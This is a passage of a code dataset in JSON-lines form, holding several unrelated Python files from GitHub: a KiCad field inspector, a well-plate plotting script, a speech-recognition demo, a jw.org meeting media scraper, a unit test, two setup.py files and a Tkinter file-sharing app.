self.closeEditor(editor, QAbstractItemDelegate.NoHint)\n\n self.save_fields()\n #--------------------------------------------------------------------------- \n def reduce_list(self, l):\n l = list(set(l))\n l.sort()\n return l\n #--------------------------------------------------------------------------- \n def prepare_item(self, item, flist):\n item_name = item.data(colNAME, Qt.DisplayRole)\n fparam_name = self.ItemsParamNameMap[item_name][0]\n \n vals = []\n for f in flist:\n vals.append( getattr(f, fparam_name) )\n \n vals = self.reduce_list(vals)\n \n if len( self.ItemsParamNameMap[item_name] ) == 1:\n if len(vals) == 1:\n self.ItemsDelegate.add_editor_data(item_name, self.FieldInspectorItemsDelegate.TEXT_DELEGATE)\n else:\n vals.insert(0, MULTIVALUE)\n self.ItemsDelegate.add_editor_data(item_name, self.FieldInspectorItemsDelegate.CBOX_DELEGATE, vals)\n \n data_val = vals[0]\n else:\n data_val = vals[0]\n if len(vals) > 1:\n vals = [MULTIVALUE] + self.ItemsParamNameMap[item_name][1] \n data_val = vals[0]\n else:\n vals = self.ItemsParamNameMap[item_name][1] \n\n self.ItemsDelegate.add_editor_data(item_name, self.FieldInspectorItemsDelegate.CBOX_DELEGATE, vals)\n \n item.setData(colDATA, Qt.DisplayRole, data_val)\n #--------------------------------------------------------------------------- \n def load_field(self):\n \n self.load_field_sem = True\n \n NO_FIELD_PARAMS = ['LibRef', 'X', 'Y', 'Timestamp']\n\n comps = self.comps\n param = self.param\n \n if (param in NO_FIELD_PARAMS) or (len(comps) == 0):\n for i in range( self.topLevelItem(0).childCount() ):\n item = self.topLevelItem(0).child(i)\n item.setData(colDATA, Qt.DisplayRole, '')\n if hasattr(self, 'field_list'):\n delattr(self, 'field_list')\n \n self.load_field_sem = False\n return\n \n flist = []\n for c in comps:\n flist.append( c.field(param) )\n \n for i in range( self.topLevelItem(0).childCount() ):\n item = self.topLevelItem(0).child(i)\n self.prepare_item(item, flist)\n \n self.field_list = flist\n self.load_field_sem = False\n #--------------------------------------------------------------------------- \n def save_fields(self):\n print('FieldInspector::save_fields')\n \n if not hasattr(self, 'field_list'):\n return\n \n for i in range( self.topLevelItem(0).childCount() ):\n item = self.topLevelItem(0).child(i)\n item_name = item.data(colNAME, Qt.DisplayRole)\n fparam_name = self.ItemsParamNameMap[item_name][0]\n val = item.data(colDATA, Qt.DisplayRole)\n if val != MULTIVALUE:\n for f in self.field_list:\n exec('f.' + fparam_name + ' = val')\n #--------------------------------------------------------------------------- \n def column_resize(self, idx, osize, nsize):\n self.setColumnWidth(idx, nsize)\n \n#------------------------------------------------------------------------------- \n\n","repo_name":"emb-lib/kicad-tools","sub_path":"scmgr/inspector.py","file_name":"inspector.py","file_ext":"py","file_size_in_byte":36263,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"22"} +{"seq_id":"11683862073","text":"\nimport pandas as pd\n\nimport well_plate\n\n\ndef main():\n # Image 1\n wp = well_plate.WellPlate(24)\n fig = wp.plot(auto_open=False)\n fig.write_image(\"well_plate_24.svg\")\n\n # Image 2\n wp = well_plate.WellPlate(96, \"rect\")\n fig = wp.plot(auto_open=False)\n fig.write_image(\"well_plate_96r.svg\")\n\n # Image 3\n wp = well_plate.WellPlate(384)\n\n df = pd.read_csv(\"example1_data.csv\", index_col=0)\n wp.add_data(df[\"mw_n\"])\n\n fig = wp.plot(key=\"mw_n\", auto_open=False)\n fig.write_image(\"well_plate_with_data.svg\")\n fig = wp.heatmap(key=\"mw_n\", auto_open=False)\n fig.write_image(\"heatmap.svg\")\n\n\nif __name__ == '__main__':\n main()\n","repo_name":"dylanwal/well_plate","sub_path":"examples/generate_img.py","file_name":"generate_img.py","file_ext":"py","file_size_in_byte":667,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"22"} +{"seq_id":"40746344999","text":"import speech_recognition as sr\n\nr = sr.Recognizer()\n\n\n#for i, microphone_name in enumerate(mic_list):\n# if microphone_name == mic_name:\n # device_id = i\n# print(device_id )\n\nwith sr.Microphone() as source:\n # wait for a second to let the recognizer adjust the\n # energy threshold based on the surrounding noise level\n r.adjust_for_ambient_noise(source)\n print(\"Say Something\")\n # listens for the user's input\n audio = r.listen(source)\n print(\"listen Something\")\n try:\n print(\"intry\")\n text = r.recognize_google(audio)\n print(\"you said: \" .format(text))\n\n # error occurs when google could not understand what was said\n\n except sr.UnknownValueError:\n print(\"Google Speech Recognition could not understand audio\")\n\n\n","repo_name":"pabitra11/misc","sub_path":"Audio_to_text.py","file_name":"Audio_to_text.py","file_ext":"py","file_size_in_byte":788,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"22"} +{"seq_id":"36031560485","text":"#!/usr/bin/env python\n# -*- coding: utf-8 -*-\n# pylint: disable=unused-argument, wrong-import-position\n\"\"\"\nO diciobot consulta o [Dicio - Dicionário Online de Português],\ncomposto por definições, significados, exemplos e rimas\nque caracterizam mais de 400.000 palavras e verbetes.\n\nSee:\nhttps://github.com/neryuuk/diciobot\nhttps://packaging.python.org/en/latest/guides/distributing-packages-using-setuptools\n\"\"\"\n\nfrom pathlib import Path\nfrom setuptools import setup, find_packages\n\nlong_description = (\n Path(__file__).parent.resolve() / \"README.md\"\n).read_text(encoding=\"utf-8\")\n\nsetup(\n name=\"diciobot\",\n version=\"2.0.0\",\n description=\"A portuguese thesaurus bot for Telegram\",\n long_description=long_description,\n long_description_content_type=\"text/markdown\",\n url=\"https://github.com/neryuuk/diciobot\",\n author=\"Nelson Antunes\",\n author_email=\"neryuuk@neryuuk.com\",\n classifiers=[\n \"Development Status :: 4 - Beta\",\n \"Environment :: Console\",\n \"Intended Audience :: Developers\",\n \"License :: Free For Educational Use\",\n \"Natural Language :: Portuguese (Brazilian)\",\n \"Topic :: Software Development :: Build Tools\",\n \"Programming Language :: Python :: 3\",\n \"Programming Language :: Python :: 3.7\",\n \"Programming Language :: Python :: 3.8\",\n \"Programming Language :: Python :: 3.9\",\n \"Programming Language :: Python :: 3.10\",\n \"Programming Language :: Python :: 3 :: Only\",\n ],\n keywords=\"telegram, bot, portuguese, thesaurus\", # Optional\n # You can just specify package directories manually here if your project is\n # simple. Or you can use find_packages().\n #\n # Alternatively, if you just want to distribute a single Python file, use\n # the `py_modules` argument instead as follows, which will expect a file\n # called `my_module.py` to exist:\n #\n # py_modules=[\"my_module\"],\n #\n packages=find_packages(where=\"src\"), # Required\n python_requires=\">=3.7, <4\",\n install_requires=[\n \"lxml\", \"python-dotenv\", \"python-telegram-bot\", \"redis\", \"Requests\"\n ],\n # List additional groups of dependencies here (e.g. development\n # dependencies). Users will be able to install these using the \"extras\"\n # syntax, for example:\n #\n # $ pip install sampleproject[dev]\n #\n # Similar to `install_requires` above, these must be valid existing\n # projects.\n extras_require={\n \"dev\": [\"check-manifest\"],\n \"test\": [\"coverage\"],\n },\n project_urls={\n \"Bug Reports\": \"https://github.com/neryuuk/diciobot/issues\",\n \"Source\": \"https://github.com/neryuuk/diciobot/\",\n \"Thanks\": \"https://t.me/neryuuk\",\n },\n)\n","repo_name":"neryuuk/diciobot","sub_path":"setup.py","file_name":"setup.py","file_ext":"py","file_size_in_byte":2733,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"22"} +{"seq_id":"27734430423","text":"from .fetcher import Fetcher\nfrom urllib.parse import urlparse, urljoin, parse_qsl, unquote, urlencode\nimport re\nfrom dataclasses import dataclass\nimport logging\n\nlogger = logging.getLogger(__name__)\n\n# A single media item, such as a video, for use at a meeting\n@dataclass\nclass MeetingMedia:\n\tpub_code: str\n\ttitle: str\n\tmedia_type: str\n\tmedia_url: str\n\tsection_title: str = None\n\tpart_title: str = None\n\tthumbnail_url: str = None\n\n# Scan a Meeting Workbook week or Watchtower study article and return\n# a list of the vidoes and pictures therein.\nclass MeetingLoader(Fetcher):\n\n\t# Get pointers to the Meeting Workbook and Watchtower articles\n\t# to be studied during a particular week\n\tdef get_week(self, year, week):\n\n\t\t# Fetch the week's page from the meeting schedule on wol.jw.org.\n\t\turl = self.week_url.format(year=year, week=week)\n\t\thtml = self.get_html(url)\n\n\t\ttoday_items = html.find_class(\"todayItems\")[0]\n\t\tresult = {}\n\n\t\t#------------------------------------------\n\t\t# Meeting Workbook\n\t\t#------------------------------------------\n\t\tmwb_div = today_items.find_class(\"pub-mwb\")\n\t\tif len(mwb_div) > 0:\n\t\t\tmwb_div = mwb_div[0]\n\n\t\t\t# URL of meeting workbook page on wol.jw.org\n\t\t\tresult[\"mwb_url\"] = urljoin(url, mwb_div.find_class(\"itemData\")[0].xpath('.//a')[0].attrib['href'])\n\n\t\t\t# The MEPS docId is one of the classes of the todayItem
    tag.\n\t\t\tresult[\"mwb_docid\"] = int(re.search(r\" docId-(\\d+) \", mwb_div.attrib[\"class\"]).group(1))\n\n\t\telse:\n\t\t\tresult[\"mwb_url\" ] = None\n\t\t\tresult[\"mwb_docid\" ] = None\n\n\t\t#------------------------------------------\n\t\t# Watchtower\n\t\t#------------------------------------------\n\t\twatchtower_div = today_items.find_class(\"pub-w\")\n\t\tif len(watchtower_div) > 0:\n\t\t\twatchtower_div = watchtower_div[0]\n\n\t\t\t# URL of Watchtower article on wol.jw.org\n\t\t\tresult[\"watchtower_url\"] = urljoin(url, watchtower_div.find_class(\"itemData\")[0].xpath(\".//a\")[0].attrib[\"href\"])\n\n\t\t\t# Follow the link. The MEPS docId at the end of the URL to which we are redirected.\n\t\t\tresponse = self.get(result[\"watchtower_url\"], follow_redirects=False)\n\t\t\tresult[\"watchtower_docid\"] = response.geturl().split('/')[-1]\n\n\t\telse:\n\t\t\tresult[\"watchtower_url\" ] = None\n\t\t\tresult[\"watchtower_docid\" ] = None\n\n\t\treturn result\n\n\t# Fetch the web version of a Meeting Workbook lesson or Watchtower study\n\t# article, figure out which it is, and invoke the appropriate media\n\t# extractor function.\n\tdef extract_media(self, url, callback=None):\n\t\tcallback(\"Downloading article...\")\n\t\tcontainer = self.get_article_html(url)\n\t\tcallback(\"Article title: %s\" % container.xpath(\".//h1\")[0].text_content().strip())\n\n\t\t# Invoke the extractor for this publication (w=Watchtower, mwb=Meeting Workbook)\n\t\tm = re.search(r\" pub-(\\S+) \", container.attrib['class'])\n\t\tassert m\n\t\treturn getattr(self, \"extract_media_%s\" % m.group(1))(url, container, callback)\n\n\t# Fetch the indicated article from WWW.JW.ORG, parse the HTML, and return\n\t# the article content. Normally this is the the content of the
    \n\t# tag which is inside the
    tag. But, if main is True, return the\n\t# contents of the
    tag instead.\n\tdef get_article_html(self, url, main=False):\n\t\thtml = self.get_html(url)\n\n\t\tlogger.debug(\"URL: %s\", url)\n\t\t#self.dump_html(html, \"watchtower.html\")\n\n\t\t#container = html.xpath(\".//main\" if main else \".//main//article\")\n\t\tcontainer = html.xpath(\".//main\" if main else \".//article\")\n\t\tassert len(container) == 1, \"Found %d main containers!\" % len(container)\n\t\tcontainer = container[0]\n\n\t\t# Remove the section which has the page images\n\t\tfor el in container.xpath(\".//div[@id='docSubImg']\"):\n\t\t\tel.getparent().remove(el)\n\n\t\treturn container\n\n\t# Handler for a lesson page from the Meeting Workbook\n\t# Called by .extract_media()\n\tdef extract_media_mwb(self, url, container, callback):\n\t\tcontainer = container.xpath(\".//div[@class='bodyTxt']\")[0]\n\n\t\t# In the inner for loop we add what we want to keep to this list\n\t\tscenes = []\n\n\t\t# The workbook page has four :\n\t\t# 1) The title which gives the date, Bible reading, and opening song number\n\t\t# 2) СОКРОВИЩА ИЗ СЛОВА БОГА\n\t\t# 3) ОТТАЧИВАЕМ НАВЫКИ СЛУЖЕНИЯ\n\t\t# 4) ХРИСТИАНСКАЯ ЖИЗНЬ\n\t\tfor section in container:\n\t\t\tassert section.tag == \"div\" and section.attrib['class'] == \"section\"\n\t\t\tsection_id = section.attrib['id']\n\t\t\th2s = section.xpath(\".//h2\")\n\t\t\tsection_title = h2s[0].text_content() if len(h2s) > 0 else None\n\t\t\tlogger.info(\"Section: id=%s class=%s title=\\\"%s\\\"\" % (section_id, section.attrib.get(\"class\"), section_title))\n\n\t\t\tfor li in section.xpath(\"./div/ul/li\"):\n\n\t\t\t\t# «Part Title»\n\t\t\t\t# Part Title\n\t\t\t\tpart_title = li.xpath(\".//strong\")[0].text_content()\n\t\t\t\tif len(part_title) == 1:\n\t\t\t\t\tpart_title = li.xpath(\".//a\")[0].text_content()\n\n\t\t\t\t# Go through all of the hyperlinks in this section\n\t\t\t\tfor a in li.xpath(\".//a\"):\n\t\t\t\t\tlogger.info(\" href: %s %s\", unquote(a.attrib['href']), str(a.attrib))\n\n\t\t\t\t\t# Not an actual loop. We always break out on the first iteration.\n\t\t\t\t\twhile True:\n\n\t\t\t\t\t\t# This is for the log message which is printed after we break out of this 'loop'\n\t\t\t\t\t\tis_a = None\n\n\t\t\t\t\t\t# Meeting Workbook sample presentation video\n\t\t\t\t\t\t# (Other videos occasionally use this link format too.)\n\t\t\t\t\t\t# Sample tag attributes:\n\t\t\t\t\t\t# data-video=\"webpubvid://?pub=mwbv&issue=202105&track=1\"\n\t\t\t\t\t\t# href=\"https://www.jw.org/finder?lank=pub-mwbv_202105_1_VIDEO&wtlocale=U\"\n\t\t\t\t\t\tif a.attrib.get(\"data-video\") is not None:\n\t\t\t\t\t\t\tvideo_metadata = self.get_video_metadata(a.attrib[\"href\"])\n\t\t\t\t\t\t\tquery = dict(parse_qsl(urlparse(a.attrib[\"href\"]).query))\n\t\t\t\t\t\t\tyield MeetingMedia(\n\t\t\t\t\t\t\t\tsection_title = section_title,\n\t\t\t\t\t\t\t\tpart_title = part_title,\n\t\t\t\t\t\t\t\t#pub_code = None,\n\t\t\t\t\t\t\t\tpub_code = pub_code if \"docid\" in query else re.sub(r\"^pub-([^_]+)_.+$\", lambda m: m.group(1), query[\"lank\"]),\n\t\t\t\t\t\t\t\t#title = a.text_content(),\n\t\t\t\t\t\t\t\ttitle = video_metadata[\"title\"],\n\t\t\t\t\t\t\t\tmedia_type = \"video\",\n\t\t\t\t\t\t\t\tmedia_url = a.attrib[\"href\"],\n\t\t\t\t\t\t\t\tthumbnail_url = video_metadata[\"thumbnail_url\"],\n\t\t\t\t\t\t\t\t)\n\t\t\t\t\t\t\tis_a = \"video\"\n\t\t\t\t\t\t\tbreak\n\n\t\t\t\t\t\t# Link to Bible passage\n\t\t\t\t\t\tif \"jsBibleLink\" in a.attrib.get(\"class\",\"\").split(\" \"):\n\t\t\t\t\t\t\tis_a = \"verse\"\n\t\t\t\t\t\t\tbreak\n\n\t\t\t\t\t\t# Extract publication code and document ID. We will use these below\n\t\t\t\t\t\t# to figure out what we've got.\n\t\t\t\t\t\ttry:\n\t\t\t\t\t\t\tpub_code = re.match(r\"^pub-(\\S+)$\", a.attrib['class']).group(1)\n\t\t\t\t\t\t\tdocid = re.match(r\"^mid(\\d+)$\", a.attrib['data-page-id']).group(1)\n\t\t\t\t\t\texcept AttributeError:\n\t\t\t\t\t\t\traise AssertionError(\"Not as expected: <%s %s>%s\" % (a.tag, str(a.attrib), a.text))\n\n\t\t\t\t\t\t# Song from our songbook\n\t\t\t\t\t\tif pub_code == \"sjj\":\n\t\t\t\t\t\t\tsong = self.make_song(a)\n\t\t\t\t\t\t\tsong.section_title = section_title\n\t\t\t\t\t\t\tyield song\n\t\t\t\t\t\t\tis_a = \"song\"\n\t\t\t\t\t\t\tbreak\n\n\t\t\t\t\t\t# Counsel point\n\t\t\t\t\t\tif pub_code == \"th\":\n\t\t\t\t\t\t\ttext = a.text_content().strip()\n\t\t\t\t\t\t\tchapter = int(re.search(r\"(\\d+)$\", text).group(1))\n\t\t\t\t\t\t\t#yield MeetingMedia(\n\t\t\t\t\t\t\t#\tsection_title = section_title,\n\t\t\t\t\t\t\t#\tpart_title = part_title,\n\t\t\t\t\t\t\t#\tpub_code = \"th %d\" % chapter,\n\t\t\t\t\t\t\t#\ttitle = text,\n\t\t\t\t\t\t\t#\tmedia_type = \"web\",\n\t\t\t\t\t\t\t#\t#media_url = urljoin(url, a.attrib['href']),\n\t\t\t\t\t\t\t#\tmedia_url = \"http://localhost:5000/epubs/th/?id=chapter%d\" % (chapter + 4),\n\t\t\t\t\t\t\t#\t)\n\t\t\t\t\t\t\tis_a = \"counsel point\"\n\t\t\t\t\t\t\tbreak\n\n\t\t\t\t\t\t# Video from JW Broadcasting?\n\t\t\t\t\t\t# Examples\n\t\t\t\t\t\t# ijwwb -- Whiteboard animation\n\t\t\t\t\t\t# ijwpk -- Become Jehovah's friend\n\t\t\t\t\t\t# ijwfg -- Teaching toolbox videos?\n\t\t\t\t\t\t#\n\t\t\t\t\t\t# FIXME: Do we need to handle this? Or is this just for links to videos\n\t\t\t\t\t\t# to be used in demonstrations?\n\t\t\t\t\t\tif pub_code.startswith(\"ijw\"):\n\t\t\t\t\t\t\tdocid = a.attrib.get('data-page-id')\n\t\t\t\t\t\t\tis_a = \"video\"\n\t\t\t\t\t\t\tbreak\n\n\t\t\t\t\t\t# Links to other publications. For these we download the article or\n\t\t\t\t\t\t# chapter and extract illustrations. (But we omit those in 3rd section\n\t\t\t\t\t\t# because the are just the source material for demonstrations.)\n\t\t\t\t\t\tif section_id != \"section3\":\n\n\t\t\t\t\t\t\t# Take the text inside the tag as the article title\n\t\t\t\t\t\t\tarticle_title = a.text_content().strip()\n\t\t\t\t\t\t\tcallback(\"Getting media list from %s...\" % article_title)\n\n\t\t\t\t\t\t\t# Download the article and extract the contents of the
    tag\n\t\t\t\t\t\t\t# (The articles for the first talk in the MWB have the first illustration\n\t\t\t\t\t\t\t# between the
    tag and the
    tag inside it.)\n\t\t\t\t\t\t\tarticle_main = self.get_article_html(urljoin(url, a.attrib['href']), main=True)\n\n\t\t\t\t\t\t\t# Pull out illustrations\n\t\t\t\t\t\t\tfor illustration in self.extract_illustrations(pub_code, article_title, article_main):\n\t\t\t\t\t\t\t\tillustration.section_title = section_title\n\t\t\t\t\t\t\t\tillustration.part_title = part_title\n\t\t\t\t\t\t\t\tyield illustration\n\n\t\t\t\t\t\t\tis_a = \"article\"\n\t\t\t\t\t\t\tbreak\n\n\t\t\t\t\t\tis_a = \"unknown\"\n\t\t\t\t\t\tbreak\n\n\t\t\t\t\tlogger.info(\" Item: %s \\\"%s\\\" (%s)\" % (str(a.attrib.get('class')).strip(), a.text_content().strip(), is_a))\n\n\t# Handler for a Watchtower study article\n\t# Called from .extract_media()\n\tdef extract_media_w(self, url, container, callback):\n\n\t\t# tags) from an article or chapter body.\n\t# The Watchtower extractor runs this on the whole article\n\t# The Meeting Workbook extractor runs this on articles to which the\n\t# week's page links, omiting only the source material for demonstrations.\n\tdef extract_illustrations(self, pub_code, article_title, container):\n\t\tlogger.debug(\"=========================================================\")\n\t\tlogger.debug(article_title)\n\t\t#self.dump_html(container)\n\n\t\t#\n\t\t# Examples (before modification by the Javascript):\n\t\t#\n\t\t# Article head illustration in Watchtower:\n\t\t#\n\t\t#
    \n\t\t# \n\t\t# \n\t\t# \n\t\t#
    \n\t\t#\n\t\t# Article head illustration in Meeting Workbook\n\t\t#\n\t\t#
    \n\t\t# \n\t\t# \n\t\t# \n\t\t#
    \n\t\t#\n\t\t# Internal illustration with caption:\n\t\t#\n\t\t#
    \n\t\t# \n\t\t# \n\t\t# \n\t\t#
    \n\t\t#

    ...

    \n\t\t#
    \n\t\t#
    \n\t\t#\n\t\t# There will sometimes be multiple 's, one for each image in a carousel.\n\t\t#\n\t\t# Image link to video with poster:\n\t\t#\n\t\t#
    \n\t\t# \n\t\t# \n\t\t# \n\t\t# \n\t\t# \n\t\t#
    \n\t\t#\n\t\t# Image link to article with context:\n\t\t#\n\t\t#
    \n\t\t#
    \n\t\t#
    \n\t\t# \n\t\t# \n\t\t# \n\t\t# \n\t\t# \n\t\t#
    \n\t\t#
    \n\t\t#
    \n\t\t#

    ...

    \n\t\t#

    \n\t\t# ...\n\t\t#

    \n\t\t#
    \n\t\t#
    \n\t\t#\n\t\tn = 0\n\t\tfor figure in container.xpath(\".//figure\"):\n\t\t\tself.dump_html(figure)\n\t\t\tn += 1\n\t\t\tlink = figure.find(\"./a\")\n\n\t\t\tfigcaption = figure.find(\"./figcaption\")\n\t\t\tif figcaption is not None:\n\t\t\t\tcaption = figcaption.text_content().strip()\n\t\t\telif link is not None and link.attrib.get(\"class\",\"\").startswith(\"pub-\"):\n\t\t\t\tcaption_div = figure.getparent().getnext()\n\t\t\t\tcaption = caption_div.xpath(\".//a[@class='%s']\" % link.attrib.get(\"class\"))[0].text_content()\n\t\t\telse:\n\t\t\t\tcaption = None\n\n\t\t\t# Is this image linked to something?\n\t\t\tif link is not None:\n\n\t\t\t\t# Is this image linked to a video?\n\t\t\t\tif link.attrib.get(\"data-video\") is not None:\n\t\t\t\t\tvideo_metadata = self.get_video_metadata(link.attrib[\"href\"])\n\t\t\t\t\tquery = dict(parse_qsl(urlparse(link.attrib[\"href\"]).query))\n\t\t\t\t\tyield MeetingMedia(\n\t\t\t\t\t\t# If specified by docid, assume video is part of publication, otherwise extract a pub ID from LANK\n\t\t\t\t\t\tpub_code = pub_code if \"docid\" in query else re.sub(r\"^pub-([^_]+)_.+$\", lambda m: m.group(1), query[\"lank\"]),\n\t\t\t\t\t\ttitle = caption if caption is not None else video_metadata[\"title\"],\n\t\t\t\t\t\tmedia_type = \"video\",\n\t\t\t\t\t\tmedia_url = link.attrib[\"href\"],\n\t\t\t\t\t\tthumbnail_url = video_metadata[\"thumbnail_url\"],\n\t\t\t\t\t\t)\n\t\t\t\t\tcontinue\n\n\t\t\t\t# Article\n\t\t\t\telse:\n\t\t\t\t\tspan = figure.find(\".//span[@class='jsRespImg']\")\n\t\t\t\t\tyield MeetingMedia(\n\t\t\t\t\t\tpub_code = None,\n\t\t\t\t\t\ttitle = caption,\n\t\t\t\t\t\tmedia_type = \"web\",\n\t\t\t\t\t\tmedia_url = urljoin(\"https://www.jw.org\", link.attrib['href']),\n\t\t\t\t\t\tthumbnail_url = span.attrib.get(\"data-img-size-xs\"),\n\t\t\t\t\t\t)\n\t\t\t\t\tcontinue\n\n\t\t\t# Loop over the images in this figure\n\t\t\tfor span in figure.findall(\".//span[@class='jsRespImg']\"):\n\t\t\t\timg = span.find(\"./noscript/img\")\n\t\t\t\tassert span is not None and img is not None\n\n\t\t\t\t# Take the highest resolution version we can get\n\t\t\t\tfor variant in (\"data-zoom\", \"data-img-size-lg\", \"data-img-size-md\", \"data-img-size-sm\", \"data-img-size-xs\"):\n\t\t\t\t\tsrc = span.attrib.get(variant)\n\t\t\t\t\tif src is not None:\n\t\t\t\t\t\tbreak\n\t\t\t\telse:\n\t\t\t\t\traise AssertionError(\"No image source in jsRespImg: %s\" % str(span.attrib))\n\n\t\t\t\tif caption:\n\t\t\t\t\tmedia_title = caption\n\t\t\t\telse:\n\t\t\t\t\tmedia_title = img.attrib.get(\"alt\",\"\").strip()\n\t\t\t\tif media_title == \"\":\n\t\t\t\t\tmedia_title = \"%s №%d\" % (article_title, n)\n\n\t\t\t\tyield MeetingMedia(\n\t\t\t\t\tpub_code = pub_code,\n\t\t\t\t\ttitle = media_title,\n\t\t\t\t\tmedia_type = \"image\",\n\t\t\t\t\tmedia_url = src,\n\t\t\t\t\tthumbnail_url = span.attrib.get(\"data-img-size-xs\"),\n\t\t\t\t\t)\n\n","repo_name":"david672orford/pub-tools","sub_path":"app/jworg/meetings.py","file_name":"meetings.py","file_ext":"py","file_size_in_byte":15050,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"22"} +{"seq_id":"22812047838","text":"import unittest\nfrom Domain.Usuario import Usuario\nfrom Domain.Lance import Lance\nfrom Domain.Leilao import Leilao\nfrom Domain.Avaliador import Avaliador\n\nclass Test_Avaliador(unittest.TestCase):\n\n def test_Avaliar(self):\n usuario = Usuario('Diego')\n lance1 = Lance(usuario, 100)\n lance2 = Lance(usuario, 200)\n lance3 = Lance(usuario, 50)\n\n leilao = Leilao('CIVIC 2011')\n\n leilao.propoe(lance2)\n leilao.propoe(lance1)\n leilao.propoe(lance3)\n\n avaliador = Avaliador()\n avaliador.avaliar(leilao)\n self.assertTrue(avaliador.menor_valor.valor == 50)\n self.assertTrue(avaliador.maior_valor.valor == 200)\n\n\n\nif __name__ == '__main__':\n unittest.main()\n","repo_name":"DiegoBarney/PythonEstudos","sub_path":"pythonTestesUnitarios/venv/Testes/Test_Avaliador.py","file_name":"Test_Avaliador.py","file_ext":"py","file_size_in_byte":736,"program_lang":"python","lang":"es","doc_type":"code","stars":0,"dataset":"github-code","pt":"22"} +{"seq_id":"71609911736","text":"#!/usr/bin/env python3\nfrom setuptools import setup, find_packages\n# configure the setup to install from specific repos and users\n\nDESC = 'memscrimper_parser'\nsetup(name='memscrimper-parser',\n version='1.0',\n description=DESC,\n author='Adam Pridgen',\n author_email='adam.pridgen.phd@gmail.com',\n install_requires=[],\n packages=find_packages('src'),\n package_dir={'': 'src'},\n dependency_links=[],\n)","repo_name":"deeso/memscrimper-parser","sub_path":"setup.py","file_name":"setup.py","file_ext":"py","file_size_in_byte":438,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"22"} +{"seq_id":"74354041976","text":"from tkinter import *\r\nimport ctypes , os , sys , socket\r\nfrom random import choice , randint\r\nfrom tkinter.filedialog import askopenfilenames , askdirectory \r\n\r\nfrom threading import Thread\r\nimport time\r\nimport tkinter.ttk as ttk\r\n\r\ndef resource_path(relative_path):\r\n if hasattr(sys, '_MEIPASS'):\r\n return os.path.join(sys._MEIPASS, relative_path)\r\n return os.path.join(os.path.abspath(\".\"), relative_path)\r\n\r\ndef ip_address():\r\n ip = socket.gethostbyname(socket.gethostname())\r\n return ip\r\n \r\ndef data_size_cal(size):\r\n st=None\r\n if size < 1024:\r\n st=f'{size} Bytes'\r\n \r\n elif size < 1022976 :\r\n size=str(size/1024).split('.')\r\n size=size[0]+'.'+(size[1])[:1]\r\n st=f'{size} KB'\r\n\r\n elif size < 1048576 :\r\n size=str(size/1048576).split('.')\r\n size=size[0]+'.'+(size[1])[:2]\r\n st=f'{size} MB'\r\n\r\n elif size < 1047527424:\r\n \r\n size=str(size/1048576).split('.')\r\n size=size[0]+'.'+(size[1])[:1]\r\n st=f'{size} MB'\r\n \r\n elif size < 1073741824:\r\n \r\n size=str(size/1073741824).split('.')\r\n size=size[0]+'.'+(size[1])[:2]\r\n st=f'{size} GB'\r\n \r\n elif size >= 1073741824:\r\n size=str(size/1073741824).split('.')\r\n size=size[0]+'.'+(size[1])[:1]\r\n st=f'{size} GB'\r\n else:\r\n st='Error_in_cal'\r\n return st\r\n\r\n \r\n\r\nclass App():\r\n def __init__(self): \r\n ctypes.windll.shcore.SetProcessDpiAwareness(1)\r\n \r\n self.root_mshare=Tk()\r\n self.icon=PhotoImage(file =resource_path(\"share.png\"))\r\n self.root_mshare.iconphoto(True,self.icon)\r\n self.root_mshare.title('M_share ..')\r\n self.root_mshare.geometry('1130x530+200+100')\r\n self.start_frame=Frame(self.root_mshare,bg='black')\r\n self.start_frame.pack(fill='both',expand=True)\r\n self.receive_img= PhotoImage(file = resource_path(\"rec.png\"),master=self.root_mshare)\r\n self.receive_but=Button(self.start_frame,highlightbackground='black',image=self.receive_img,\r\n bd=0,compound='right',activebackground='grey20',cursor='hand2',bg='black',\r\n command=self.receive_but_command)\r\n self.receive_but.pack(side='left',ipadx=100,expand=True)\r\n self.send_img= PhotoImage(file = resource_path(\"send2.png\"),master=self.root_mshare)\r\n self.send_but=Button(self.start_frame,highlightbackground='black',image=self.send_img,bd=0,\r\n compound='right',activebackground='grey20',cursor='hand2',bg='black',\r\n command=self.send_but_command)\r\n self.send_but.pack(side='right',ipadx=100,expand=True)\r\n self.ip_value_for_port=StringVar()\r\n\r\n \r\n self.ip_addres_p=Entry(self.start_frame,textvariable=self.ip_value_for_port,fg='blue2'\r\n ,font=('',18),bg='grey80',bd=1,width=10)\r\n self.ip_value_for_port.set('4092')\r\n self.ip_addres_p.place(x=10,y=10)\r\n self.root_mshare.protocol(\"WM_DELETE_WINDOW\", self.on_closing_root)\r\n self.style = ttk.Style()\r\n self.style.theme_use('default')\r\n self.style.configure(\"black.Horizontal.TProgressbar\", background='royalblue',thickness=4)\r\n\r\n self.root_mshare.mainloop()\r\n\r\n\r\n def send_but_command(self):\r\n print('send_but_command')\r\n Send(self)\r\n\r\n def receive_but_command(self):\r\n recieve(self)\r\n\r\n def on_closing_root(self):\r\n self.root_mshare.destroy()\r\n sys.exit(1)\r\n \r\n\r\n\r\n#_____________________________________________________________________________________________________\r\n\r\nclass Send():\r\n def __init__(self,parent_self):\r\n print('send')\r\n self.parent_self=parent_self\r\n parent_self.start_frame.pack_forget()\r\n \r\n \r\n self.frame2=Frame(parent_self.root_mshare,bg='grey50')\r\n self.frame2.pack(expand=True,fill='both')\r\n self.frame3=Frame(self.frame2,bg='grey50')\r\n self.frame3.pack(expand=True,fill='both',side='right')\r\n self.frame4=Frame(self.frame2,bg='grey90')\r\n self.frame4.pack(fill='both',side='left',ipadx=200)\r\n self.frame5=Frame(self.frame3,bg='grey70')\r\n self.frame5.pack(fill='x',side='top',ipady=100)\r\n self.ip_label=Label(self.frame4,text='Local IP : %s'%str(ip_address()),fg='white',font=('',20),bg='grey80',bd=5,highlightbackground='orange red')\r\n self.ip_label.place(x=10,y=40)\r\n self.conn_label=Label(self.frame4,text='\\nlistening requests... ',fg='green',font=('',20),bg='grey90',bd=5,highlightbackground='orange red')\r\n self.conn_label.place(x=10,y=120)\r\n self.conndvi_label=Label(self.frame4,text='waiting for connection',fg='blue',font=('',20),bg='grey85',bd=5,highlightbackground='orange red')\r\n self.conndvi_label.place(x=10,y=210)\r\n 